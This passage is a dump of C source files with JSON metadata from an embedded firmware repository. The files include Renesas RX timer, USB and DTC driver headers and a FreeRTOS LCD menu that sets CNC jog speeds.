&(ICU.IPR[IPR_MTU0_TGIA0].BYTE)}\n\n#define MTU1_REGS { &MTU1.TCR.BYTE, \\\n &MTU1.TMDR.BYTE, \\\n &MTU1.TIOR.BYTE, \\\n NULL, \\\n &MTU1.TIER.BYTE, \\\n NULL, \\\n &MTU1.NFCR.BYTE, \\\n &MTU1.TCNT, \\\n &MTU1.TGRA, \\\n &MTU1.TGRB, \\\n NULL, \\\n NULL, \\\n NULL, \\\n NULL, \\\n &(ICU.IR[IR_MTU1_TGIA1].BYTE), \\\n &(ICU.IER[IER_MTU1_TGIA1].BYTE), \\\n &(ICU.IER[IER_MTU1_TGIB1].BYTE), \\\n NULL, \\\n NULL, \\\n &(ICU.IPR[IPR_MTU1_TGIA1].BYTE)}\n\n#define MTU2_REGS { &MTU2.TCR.BYTE, \\\n &MTU2.TMDR.BYTE, \\\n &MTU2.TIOR.BYTE, \\\n NULL, \\\n &MTU2.TIER.BYTE, \\\n NULL, \\\n &MTU2.NFCR.BYTE, \\\n &MTU2.TCNT, \\\n &MTU2.TGRA, \\\n &MTU2.TGRB, \\\n NULL, \\\n NULL, \\\n NULL, \\\n NULL, \\\n &(ICU.IR[IR_MTU2_TGIA2].BYTE), \\\n &(ICU.IER[IER_MTU2_TGIA2].BYTE), \\\n &(ICU.IER[IER_MTU2_TGIB2].BYTE), \\\n NULL, \\\n NULL, \\\n &(ICU.IPR[IPR_MTU2_TGIA2].BYTE)}\n\n#define MTU3_REGS { &MTU3.TCR.BYTE, \\\n &MTU3.TMDR.BYTE, \\\n &MTU3.TIORH.BYTE, \\\n &MTU3.TIORL.BYTE, \\\n &MTU3.TIER.BYTE, \\\n &MTU3.TBTM.BYTE, \\\n &MTU3.NFCR.BYTE, \\\n &MTU3.TCNT, \\\n &MTU3.TGRA, \\\n &MTU3.TGRB, \\\n &MTU3.TGRC, \\\n &MTU3.TGRD, \\\n NULL, \\\n NULL, \\\n &(ICU.IR[IR_MTU3_TGIA3].BYTE), \\\n &(ICU.IER[IER_MTU3_TGIA3].BYTE), \\\n &(ICU.IER[IER_MTU3_TGIB3].BYTE), \\\n &(ICU.IER[IER_MTU3_TGIC3].BYTE), \\\n &(ICU.IER[IER_MTU3_TGID3].BYTE), \\\n &(ICU.IPR[IPR_MTU3_TGIA3].BYTE)}\n\n#define MTU4_REGS { &MTU4.TCR.BYTE, \\\n &MTU4.TMDR.BYTE, \\\n &MTU4.TIORH.BYTE, \\\n &MTU4.TIORL.BYTE, \\\n &MTU4.TIER.BYTE, \\\n &MTU4.TBTM.BYTE, \\\n &MTU4.NFCR.BYTE, \\\n &MTU4.TCNT, \\\n &MTU4.TGRA, \\\n &MTU4.TGRB, \\\n &MTU4.TGRC, \\\n &MTU4.TGRD, \\\n NULL, \\\n NULL, \\\n &(ICU.IR[IR_MTU4_TGIA4].BYTE), \\\n &(ICU.IER[IER_MTU4_TGIA4].BYTE), \\\n &(ICU.IER[IER_MTU4_TGIB4].BYTE), \\\n &(ICU.IER[IER_MTU4_TGIC4].BYTE), \\\n &(ICU.IER[IER_MTU4_TGID4].BYTE), \\\n &(ICU.IPR[IPR_MTU4_TGIA4].BYTE)}\n\n#if defined BSP_MCU_RX63N\n/* ICU.IER.IEN bits for each TGI source. 0xFF = not available this channel. */\n/* { TGIA TGIB TGIC TGID } */\n#define MTU0_TGI_EN { MTU_BIT6, MTU_BIT7, MTU_BIT0, MTU_BIT1 }\n#define MTU1_TGI_EN { MTU_BIT4, MTU_BIT5, MTU_NOT_SUPP, MTU_NOT_SUPP }\n#define MTU2_TGI_EN { MTU_BIT6, MTU_BIT7, MTU_NOT_SUPP, MTU_NOT_SUPP }\n#define MTU3_TGI_EN { MTU_BIT0, MTU_BIT1, MTU_BIT2, MTU_BIT3 }\n#define MTU4_TGI_EN { MTU_BIT4, MTU_BIT5, MTU_BIT6, MTU_BIT7 }\n\n#elif defined BSP_MCU_RX111 || defined BSP_MCU_RX110 || defined BSP_MCU_RX210\n/* ICU.IER.IEN bits for each TGI source. 0xFF = not available this channel. */\n/* { TGIA TGIB TGIC TGID } */\n#define MTU0_TGI_EN { MTU_BIT2, MTU_BIT3, MTU_BIT4, MTU_BIT5 }\n#define MTU1_TGI_EN { MTU_BIT1, MTU_BIT2, MTU_NOT_SUPP, MTU_NOT_SUPP }\n#define MTU2_TGI_EN { MTU_BIT5, MTU_BIT6, MTU_NOT_SUPP, MTU_NOT_SUPP }\n#define MTU3_TGI_EN { MTU_BIT1, MTU_BIT2, MTU_BIT3, MTU_BIT4 }\n#define MTU4_TGI_EN { MTU_BIT6, MTU_BIT7, MTU_BIT0, MTU_BIT1 }\n#endif\n\n/* TCR.TPSC[2:0] bits for internal clock selection. From Tables. 0xFF = not available this channel. */\n/* PCLK divisor { PCLK/1 | PCLK/4 | PCLK/16 | PCLK/64 | PCLK/256 | PCLK/1024 } */\n#define MTU0_PCLK_DIVS { 0x00, 0x01, 0x02, 0x03, 0xFF, 0xFF }\n#define MTU1_PCLK_DIVS { 0x00, 0x01, 0x02, 0x03, 0x06, 0xFF }\n#define MTU2_PCLK_DIVS { 0x00, 0x01, 0x02, 0x03, 0xFF, 0x07 }\n#define MTU3_PCLK_DIVS { 0x00, 0x01, 0x02, 0x03, 0x04, 0x05 }\n#define MTU4_PCLK_DIVS { 0x00, 0x01, 0x02, 0x03, 0x04, 0x05 }\n\n/* TCR.TPSC[2:0] bits for external clock selection. From Tables. 0xFF = not available this channel. */\n/* { MTCLKA MTCLKB MTCLKC MTCLKD OFL_UFL } */\n#define MTU0_EXT_CLKS { 0x04, 0x05, 0x06, 0x07, 0xFF }\n#define MTU1_EXT_CLKS { 0x04, 0x05, 0xFF, 0xFF, 0x07 }\n#define MTU2_EXT_CLKS { 0x04, 0x05, 0x06, 0xFF, 0xFF }\n#define MTU3_EXT_CLKS { 0x06, 0x07, 0xFF, 0xFF, 0xFF }\n#define MTU4_EXT_CLKS { 0x06, 0x07, 0xFF, 0xFF, 0xFF }\n\n/* TCR.CCLR[2:0] bits for counter clearing selection. From Tables. 0xFF = not available this channel. */\n/* TCNT clear source { TGRA TGRB TGRC TGRD Sync disabled} */\n#define MTU0_CLR_SRC { 0x20, 0x40, 0xA0, 0xC0, 0x60, 0x00 }\n#define MTU1_CLR_SRC { 0x20, 0x40, 0xFF, 0xFF, 0x60, 0x00 }\n#define MTU2_CLR_SRC { 0x20, 0x40, 0xFF, 0xFF, 0x60, 0x00 }\n#define MTU3_CLR_SRC { 0x20, 0x40, 0xA0, 0xC0, 0x60, 0x00 }\n#define MTU4_CLR_SRC { 0x20, 0x40, 0xA0, 0xC0, 0x60, 0x00 }\n\n#define MTU_MAX_TIMER_TICKS (0xFFFF)\n#define MTU_NUM_CLK_DIVISORS (6)\n#define MTU_NUM_EXT_CLK_SRCS (5)\n#define MTU_NUM_CLR_SRCS (8)\n#define MTU_NOT_SUPP (0xFF)\n#define MTU_NUM_TGIS (4)\n\n#define MTU_ADC_TRIG (0x80) // TIER.TTGE bit\n\n#define MTU_TSYR_MASK (0xC7) // Protect reserved TSYR bits.\n#define MTU_TSTR_MASK (0xC7) // Protect reserved TSTR bits.\n\n#define MTU_CLR_TGRA (0)\n#define MTU_CLR_TGRB (1)\n#define MTU_CLR_TGRC (2)\n#define MTU_CLR_TGRD (3)\n\n#define MTU_POWER_ON (0)\n#define MTU_POWER_OFF (1)\n\n#define MTU_MODE_CLOSED (0)\n#define MTU_MODE_COMPARE_MATCH (1)\n#define MTU_MODE_INPUT_CAPTURE (2)\n#define MTU_MODE_PWM_MODE_1 (3)\n#define MTU_MODE_PWM_MODE_2 (2)\n\n/***********************************************************************************************************************\nPre-declaration of private global variables\n***********************************************************************************************************************/\n/* Possible input clock divisors for internal clocking. Not all channels support all divisors. */\nextern const uint32_t g_mtu_clock_divisors[MTU_NUM_CLK_DIVISORS];\nextern volatile uint8_t g_num_channels_in_use; // Flag to tell whether any channel of the mtu is currently in use.\nextern uint8_t g_mtu_channel_mode[MTU_CHANNEL_MAX]; // Channel mode or is available (0).\nextern uint8_t g_mtu_channel_clr_src[MTU_CHANNEL_MAX]; // The selected timer clearing source.\nextern uint8_t g_mtu_channel_repeats[MTU_CHANNEL_MAX]; // Flags for do repeat or just once.\nextern uint8_t g_mtu_tgr_callbacks[MTU_CHANNEL_MAX][MTU_NUM_TIMERS]; // Flags for do callback or not\nextern uint8_t g_mtu_tgi_icu_en_flags[MTU_CHANNEL_MAX][MTU_NUM_TGIS];\n\n/* table of available internal clock divisors for each channel, and their setting bits. */\nextern const uint8_t g_chnl_clk_divs[MTU_CHANNEL_MAX][MTU_NUM_CLK_DIVISORS];\n/* table of available external clock source for each channel, and their setting bits. */\nextern const uint8_t g_chnl_ext_clks[MTU_CHANNEL_MAX][MTU_NUM_EXT_CLK_SRCS];\n/* table of available counter clearing sources for each channel, and their setting bits. */\nextern const uint8_t g_chnl_clear_src[MTU_CHANNEL_MAX][MTU_NUM_CLR_SRCS];\n/* table of channel start register bits for each channel. */\nextern const uint8_t g_mtu_tstr_bits[];\n\nextern const mtu_handle_t g_mtu_handles[];\n\n/***********************************************************************************************************************\nPre-declaration of private local functions\n***********************************************************************************************************************/\nextern void mtu_interrupts_enable(uint8_t channel);\nextern void mtu_interrupts_disable(uint8_t channel);\nextern void mtu_channel_clear(uint8_t channel);\nextern void mtu_interrupts_clear(uint8_t channel);\nextern void mtu_interrupts_group_enable(uint8_t group);\nextern void mtu_interrupts_group_disable(uint8_t group);\nextern bool mtu_check_group(uint8_t group);\nextern void power_on_off (uint8_t on_or_off);\nextern bool mtu_calc_clock_divisor(uint8_t chan, uint8_t *div_idx, uint32_t frq_target);\nextern uint16_t mtu_calc_tgr_ticks(uint16_t pclk_div, uint32_t frq_target );\n\n#endif /* R_MTU_PWM_PRIVATE_H_ */\n" }, { "alpha_fraction": 0.6743864417076111, "alphanum_fraction": 0.6802626848220825, "avg_line_length": 19.812950134277344, "blob_id": "f829836b2b395d1a66095f09d00485f41d651198", "content_id": "ccdccc6d1213ef3db30ef5ef299bf173e34aeb16", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 2894, "license_type": "no_license", "max_line_length": 104, "num_lines": 139, "path": "/src/states/ut_state_config_jog.c", "repo_name": "ustropo/MT01", "src_encoding": "WINDOWS-1250", "text": "/*\n * ut_state_config_menu.c\n *\n * Created on: Dec 6, 2015\n * Author: Fernando\n */\n\n#include \"tinyg.h\"\t\t// #1\n#include \"hardware.h\"\n#include \"planner.h\"\n\n#include \"ut_context.h\"\n#include \"ut_state.h\"\n#include \"ut_state_config_var.h\"\n#include \"interpreter_if.h\"\n#include \"eeprom.h\"\n#include \"macros.h\"\n\n#include \"FreeRTOS.h\"\n#include \"task.h\"\n\n#include \"keyboard.h\"\n#include \"interpreter_if.h\"\n\n#include \"lcd.h\"\n#include \"lcd_menu.h\"\n\n#define DEFAULT_CONFIG_TIMEOUT\tportMAX_DELAY\n\n/* Array with all config variables */\nut_config_var configs_jog[CONFIG_JOG_MAX];\nstatic bool initialized = false;\n\nstatic char* jog_unit = \"mm/min\";\n\nstatic const ut_state geNextStateManual[CONFIG_JOG_MAX] =\n{\n\tSTATE_CONFIG_VAR,\n\tSTATE_CONFIG_VAR\n};\n\n/* Initial values for each config variable */\nstatic ut_config_type init_types[CONFIG_JOG_MAX] =\n{\n\tUT_CONFIG_INT,\n\tUT_CONFIG_INT\n};\n\nstatic char* init_names[CONFIG_JOG_MAX] =\n{\n\t\" VELOCIDADE RÁPIDA\",\n\t\" VELOCIDADE LENTA\"\n};\n\nstatic var_func init_func[CONFIG_JOG_MAX] =\n{\n\tNULL,\n\tNULL,\n};\n\nstatic const char* gszConfigMenuTitle = \"VELOCIDADE MANUAL\";\n\n/**\n * Initialize config array\n */\nstatic void init()\n{\n\tuint8_t i;\n\n\t/* Check if already initialized */\n\tif(initialized) {\n\t\tfor(i = 0; i < CONFIG_JOG_MAX; i++)\n\t\t{\n\t\t\tconfigs_jog[i].name = init_names[i];\n\t\t}\n\t\treturn;\n\t}\n\n\t/* Zero all values */\n\tmemset(configs_jog, 0, sizeof(configs_jog));\n\n\t/* Initialize all variables */\n\tfor(i = 0; i < CONFIG_JOG_MAX; i++)\n\t{\n\t\tconfigs_jog[i].type = init_types[i];\n\t\tconfigs_jog[i].name = init_names[i];\n\t\tconfigs_jog[i].func_var = init_func[i];\n\t\tconfigs_jog[i].valueMax = fmin(configVarParMaq[CFG_PAR_MAQ_VEL_X],configVarParMaq[CFG_PAR_MAQ_VEL_Y]);\n\t\tconfigs_jog[i].valueMin = MOTOR_VMIN;\n\t\tconfigs_jog[i].step = 1;\n\t\tconfigs_jog[i].unit = jog_unit;\n\t\tconfigs_jog[i].currentState = STATE_CONFIG_JOG;\n\t\tconfigs_jog[i].currentItem = i;\n\t}\n\tconfigs_jog[CONFIG_JOG_RAPIDO].value = &configVarJog[JOG_RAPIDO];\n\tconfigs_jog[CONFIG_JOG_LENTO].value = &configVarJog[JOG_LENTO];\n\n\tinitialized = true;\n}\n\n/**\n * Shows a configuration menu for the jog.\n *\n * @param pContext Context object\n * @return Main menu state\n */\n\nut_state ut_state_config_jog(ut_context* pContext)\n{\n\tut_menu config_menu;\n\tuint8_t i;\n\n\t/* Initialize variables */\n\tinit();\n\n\t/* Initialize menu */\n\tut_menu_init(&config_menu);\n\tconfig_menu.currentState = STATE_CONFIG_JOG;\n\t/* Options */\n\tconfig_menu.title = gszConfigMenuTitle;\n\n\t/* Items */\n\tfor(i = 0; i < CONFIG_JOG_MAX; i++)\n\t{\n\t\tconfig_menu.items[config_menu.numItems++].text = configs_jog[i].name;\n\t}\n\n\t/* Show menu */\n\tconfig_menu.selectedItem = 0;\n\tif(ut_menu_browse(&config_menu, DEFAULT_CONFIG_TIMEOUT) < 0)\n\t{\n\t\treturn STATE_CONFIG_MANUAL_MODE;\n\t}\n\n\tpContext->value[0] = STATE_MANUAL_MODE;\n\tpContext->value[1] = STATE_CONFIG_JOG;\n\tconfigsVar = &configs_jog[config_menu.selectedItem];\n\treturn geNextStateManual[config_menu.selectedItem];\n}\n" }, { "alpha_fraction": 0.4355151057243347, "alphanum_fraction": 0.453911691904068, "avg_line_length": 57.681819915771484, "blob_id": "dd49066ba1248b4e9bb6bfaed03ccc2cabc1d755", "content_id": "2c164c4d0541dd37b44c11e9aaae5461448f53d0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 5164, "license_type": "no_license", "max_line_length": 120, "num_lines": 88, "path": "/r_usb_basic/src/driver/inc/r_usb_ckernelid.h", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/***********************************************************************************************************************\n* DISCLAIMER\n* This software is supplied by Renesas Electronics Corporation and is only intended for use with Renesas products. No\n* other uses are authorized. This software is owned by Renesas Electronics Corporation and is protected under all\n* applicable laws, including copyright laws.\n* THIS SOFTWARE IS PROVIDED \"AS IS\" AND RENESAS MAKES NO WARRANTIES REGARDING\n* THIS SOFTWARE, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING BUT NOT LIMITED TO WARRANTIES OF MERCHANTABILITY,\n* FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY DISCLAIMED. TO THE MAXIMUM\n* EXTENT PERMITTED NOT PROHIBITED BY LAW, NEITHER RENESAS ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES\n* SHALL BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES FOR ANY REASON RELATED TO THIS\n* SOFTWARE, EVEN IF RENESAS OR ITS AFFILIATES HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\n* Renesas reserves the right, without notice, to make changes to this software and to discontinue the availability of\n* this software. By using this software, you agree to the additional terms and conditions found by accessing the\n* following link:\n* http://www.renesas.com/disclaimer\n*\n* Copyright (C) 2014(2015) Renesas Electronics Corporation. All rights reserved.\n***********************************************************************************************************************/\n/***********************************************************************************************************************\n* File Name : r_usb_ckernelid.h\n* Description : ID Number Definition Header File\n***********************************************************************************************************************/\n/**********************************************************************************************************************\n* History : DD.MM.YYYY Version Description\n* : 04.01.2014 1.00 First Release\n* : 30.01.2015 1.01 Support Multi device.\n***********************************************************************************************************************/\n\n\n#ifndef __R_USB_CKERNELID_H__\n#define __R_USB_CKERNELID_H__\n\n/*****************************************************************************\nMacro definitions\n******************************************************************************/\n/* Scheduler use define */\n#define USB_TBLCLR 0u /* Table clear */\n#define USB_CNTCLR 0u /* Counter clear */\n#define USB_FLGCLR 0u /* Flag clear */\n#define USB_FLGSET 1u /* Flag set */\n#define USB_IDCLR 0xFFu /* Priority clear */\n\n/* Task ID define */\n#define USB_TID_0 0u /* Task ID 0 */\n#define USB_TID_1 1u /* Task ID 1 */\n#define USB_TID_2 2u /* Task ID 2 */\n#define USB_TID_3 3u /* Task ID 3 */\n#define USB_TID_4 4u /* Task ID 4 */\n#define USB_TID_5 5u /* Task ID 5 */\n#define USB_TID_6 6u /* Task ID 6 */\n#define USB_TID_7 7u /* Task ID 7 */\n#define USB_TID_8 8u /* Task ID 8 */\n#define USB_TID_9 9u /* Task ID 9 */\n#define USB_TID_10 10u /* Task ID 9 */\n\n/* Task priority define */\n#define USB_PRI_0 0u /* Priority 0 */\n#define USB_PRI_1 1u /* Priority 1 */\n#define USB_PRI_2 2u /* Priority 2 */\n#define USB_PRI_3 3u /* Priority 3 */\n#define USB_PRI_4 4u /* Priority 4 */\n#define USB_PRI_5 5u /* Priority 5 */\n#define USB_PRI_6 6u /* Priority 6 */\n\n/* Peripheral Control Driver Task */\n#define USB_PCD_TSK USB_TID_0 /* Task ID */\n#define USB_PCD_MBX USB_PCD_TSK /* Mailbox ID */\n#define USB_PCD_MPL USB_PCD_TSK /* Memorypool ID */\n\n/* Host Control Driver Task */\n#define USB_HCD_TSK USB_TID_1 /* Task ID */\n#define USB_HCD_MBX USB_HCD_TSK /* Mailbox ID */\n#define USB_HCD_MPL USB_HCD_TSK /* Memorypool ID */\n\n/* Host Manager Task */\n#define USB_MGR_TSK USB_TID_2 /* Task ID */\n#define USB_MGR_MBX USB_MGR_TSK /* Mailbox ID */\n#define USB_MGR_MPL USB_MGR_TSK /* Memorypool ID */\n\n/* Hub Task */\n#define USB_HUB_TSK USB_TID_3 /* Task ID */\n#define USB_HUB_MBX USB_HUB_TSK /* Mailbox ID */\n#define USB_HUB_MPL USB_HUB_TSK /* Memorypool ID */\n\n#endif /* __R_USB_CKERNELID_H__ */\n/******************************************************************************\nEnd Of File\n******************************************************************************/\n" }, { "alpha_fraction": 0.4957820773124695, "alphanum_fraction": 0.5453426837921143, "avg_line_length": 58.894737243652344, "blob_id": "fc05b3eea2b00ffd5e28ba3879569887d1597f06", "content_id": "5e48a732866ace99d97cda189fbeadc37f17c2d4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 5690, "license_type": "no_license", "max_line_length": 120, "num_lines": 95, "path": "/r_usb_basic/src/driver/inc/r_usb_cmacprint.h", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/***********************************************************************************************************************\n* DISCLAIMER\n* This software is supplied by Renesas Electronics Corporation and is only intended for use with Renesas products. No\n* other uses are authorized. This software is owned by Renesas Electronics Corporation and is protected under all\n* applicable laws, including copyright laws.\n* THIS SOFTWARE IS PROVIDED \"AS IS\" AND RENESAS MAKES NO WARRANTIES REGARDING\n* THIS SOFTWARE, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING BUT NOT LIMITED TO WARRANTIES OF MERCHANTABILITY,\n* FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY DISCLAIMED. TO THE MAXIMUM\n* EXTENT PERMITTED NOT PROHIBITED BY LAW, NEITHER RENESAS ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES\n* SHALL BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES FOR ANY REASON RELATED TO THIS\n* SOFTWARE, EVEN IF RENESAS OR ITS AFFILIATES HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\n* Renesas reserves the right, without notice, to make changes to this software and to discontinue the availability of\n* this software. By using this software, you agree to the additional terms and conditions found by accessing the\n* following link:\n* http://www.renesas.com/disclaimer\n*\n* Copyright (C) 2014(2015) Renesas Electronics Corporation. All rights reserved.\n***********************************************************************************************************************/\n/***********************************************************************************************************************\n* File Name : r_usb_cmacprint.h\n* Description : Print Function Definition Header File\n***********************************************************************************************************************/\n/**********************************************************************************************************************\n* History : DD.MM.YYYY Version Description\n* : 04.01.2014 1.00 First Release\n* : 30.01.2015 1.01 Support Multi device.\n***********************************************************************************************************************/\n\n\n#ifndef __R_USB_CMACPRINT_H__\n#define __R_USB_CMACPRINT_H__\n\n\n/*****************************************************************************\nMacro definitions\n******************************************************************************/\n#if (USB_DEBUG_OUTPUT_PP == USB_DEBUG_ON_PP)\n #define USB_DEBUGPRINT_PP /* IDE Console */\n#endif/* USB_DEBUG_OUTPUT_PP == USB_DEBUG_ON_PP */\n\n/* Condition compilation by the difference of useful function */\n#ifdef USB_DEBUGUART_PP\n #include <stdlib.h> /* @@@MISRA del */\n #include <stdio.h> /* @@@MISRA del */\n #define USB_SPRINTF0(FORM) fprintf(stderr,FORM)\n #define USB_SPRINTF1(FORM,x1) fprintf(stderr,FORM,x1)\n #define USB_SPRINTF2(FORM,x1,x2) fprintf(stderr,FORM,x1,x2)\n #define USB_SPRINTF3(FORM,x1,x2,x3) fprintf(stderr,FORM,x1,x2,x3)\n #define USB_SPRINTF4(FORM,x1,x2,x3,x4) fprintf(stderr,FORM,x1,x2,x3,x4)\n #define USB_SPRINTF5(FORM,x1,x2,x3,x4,x5) fprintf(stderr,FORM,x1,x2,x3,x4,x5)\n #define USB_SPRINTF6(FORM,x1,x2,x3,x4,x5,x6) fprintf(stderr,FORM,x1,x2,x3,x4,x5,x6)\n #define USB_SPRINTF7(FORM,x1,x2,x3,x4,x5,x6,x7) fprintf(stderr,FORM,x1,x2,x3,x4,x5,x6,x7)\n #define USB_SPRINTF8(FORM,x1,x2,x3,x4,x5,x6,x7,x8) fprintf(stderr,FORM,x1,x2,x3,x4,x5,x6,x7,x8)\n#else /* USB_DEBUGUART_PP */\n #define USB_SPRINTF0(FORM)\n #define USB_SPRINTF1(FORM,x1)\n #define USB_SPRINTF2(FORM,x1,x2)\n #define USB_SPRINTF3(FORM,x1,x2,x3)\n #define USB_SPRINTF4(FORM,x1,x2,x3,x4)\n #define USB_SPRINTF5(FORM,x1,x2,x3,x4,x5)\n #define USB_SPRINTF6(FORM,x1,x2,x3,x4,x5,x6)\n #define USB_SPRINTF7(FORM,x1,x2,x3,x4,x5,x6,x7)\n #define USB_SPRINTF8(FORM,x1,x2,x3,x4,x5,x6,x7,x8)\n#endif /* USB_DEBUGUART_PP */\n\n/* Condition compilation by the difference of useful function */\n#ifdef USB_DEBUGPRINT_PP\n #include <stdlib.h> /* @@@MISRA del */\n #include <stdio.h> /* @@@MISRA del */\n #define USB_PRINTF0(FORM) printf(FORM)\n #define USB_PRINTF1(FORM,x1) printf(FORM,x1)\n #define USB_PRINTF2(FORM,x1,x2) printf(FORM,x1,x2)\n #define USB_PRINTF3(FORM,x1,x2,x3) printf(FORM,x1,x2,x3)\n #define USB_PRINTF4(FORM,x1,x2,x3,x4) printf(FORM,x1,x2,x3,x4)\n #define USB_PRINTF5(FORM,x1,x2,x3,x4,x5) printf(FORM,x1,x2,x3,x4,x5)\n #define USB_PRINTF6(FORM,x1,x2,x3,x4,x5,x6) printf(FORM,x1,x2,x3,x4,x5,x6)\n #define USB_PRINTF7(FORM,x1,x2,x3,x4,x5,x6,x7) printf(FORM,x1,x2,x3,x4,x5,x6,x7)\n #define USB_PRINTF8(FORM,x1,x2,x3,x4,x5,x6,x7,x8) printf(FORM,x1,x2,x3,x4,x5,x6,x7,x8)\n#else /* USB_DEBUGPRINT_PP */\n #define USB_PRINTF0(FORM)\n #define USB_PRINTF1(FORM,x1)\n #define USB_PRINTF2(FORM,x1,x2)\n #define USB_PRINTF3(FORM,x1,x2,x3)\n #define USB_PRINTF4(FORM,x1,x2,x3,x4)\n #define USB_PRINTF5(FORM,x1,x2,x3,x4,x5)\n #define USB_PRINTF6(FORM,x1,x2,x3,x4,x5,x6)\n #define USB_PRINTF7(FORM,x1,x2,x3,x4,x5,x6,x7)\n #define USB_PRINTF8(FORM,x1,x2,x3,x4,x5,x6,x7,x8)\n#endif /* USB_DEBUGPRINT_PP */\n\n\n#endif /* __R_USB_CMACPRINT_H__ */\n/******************************************************************************\nEnd Of File\n******************************************************************************/\n" }, { "alpha_fraction": 0.5358688235282898, "alphanum_fraction": 0.581508219242096, "avg_line_length": 40.89011001586914, "blob_id": "ac6e807ba92247c71779a3eb91342078c0a01b3f", "content_id": "f4b76d48585ff52cc344dc66730b1c8933685d3d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 7625, "license_type": "no_license", "max_line_length": 232, "num_lines": 182, "path": "/r_dtc_rx/src/targets/rx63n/r_dtc_rx_target.c", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/*******************************************************************************\n* DISCLAIMER\n* This software is supplied by Renesas Electronics Corporation and is only\n* intended for use with Renesas products. No other uses are authorized. This\n* software is owned by Renesas Electronics Corporation and is protected under\n* all applicable laws, including copyright laws.\n* THIS SOFTWARE IS PROVIDED \"AS IS\" AND RENESAS MAKES NO WARRANTIES REGARDING\n* THIS SOFTWARE, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING BUT NOT\n* LIMITED TO WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE\n* AND NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY DISCLAIMED.\n* TO THE MAXIMUM EXTENT PERMITTED NOT PROHIBITED BY LAW, NEITHER RENESAS\n* ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES SHALL BE LIABLE\n* FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES FOR\n* ANY REASON RELATED TO THIS SOFTWARE, EVEN IF RENESAS OR ITS AFFILIATES HAVE\n* BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\n* Renesas reserves the right, without notice, to make changes to this software\n* and to discontinue the availability of this software. By using this software,\n* you agree to the additional terms and conditions found by accessing the\n* following link:\n* http://www.renesas.com/disclaimer\n*\n* Copyright (C) 2014(2015) Renesas Electronics Corporation. All rights reserved.\n*******************************************************************************/\n/*******************************************************************************\n* File Name : r_dtc_rx_target.c\n* Device : RX64M\n* Tool-Chain : Renesas RXC Toolchain v2.01.00\n* OS : not use\n* H/W Platform : not use\n* Description : Functions for using DTC on RX64M devices.\n*******************************************************************************/\n/*******************************************************************************\n* History : DD.MM.YYYY Version Description\n* : 17.03.2014 1.00 Initial revision\n* : 17.07.2014 2.00 Second revision\n* : 12.11.2014 2.01 Added RX113.\n* : 30.01.2015 2.02 Added RX71M.\n*******************************************************************************/\n\n/*******************************************************************************\nIncludes <System Includes> , \"Project Includes\"\n*******************************************************************************/\n#include \"r_dtc_rx_if.h\"\n#include \".\\src\\r_dtc_rx_private.h\"\n\n/* Check MCU Group */\n#if defined(BSP_MCU_RX63N)\n\n/*******************************************************************************\nPrivate variables and functions\n*******************************************************************************/\n#if ((0 != BSP_CFG_USER_LOCKING_ENABLED) || (bsp_lock_t != BSP_CFG_USER_LOCKING_TYPE) \\\n || (DTC_ENABLE != DTC_CFG_USE_DMAC_FIT_MODULE))\n bool r_dtc_check_DMAC_locking_byUSER(void);\n#endif\n\n/*******************************************************************************\nExported global variables (to be accessed by other files)\n*******************************************************************************/\n/* The array of all interrupt source */\nconst dtc_activation_source_t source_array[DTC_NUM_INTERRUPT_SRC] 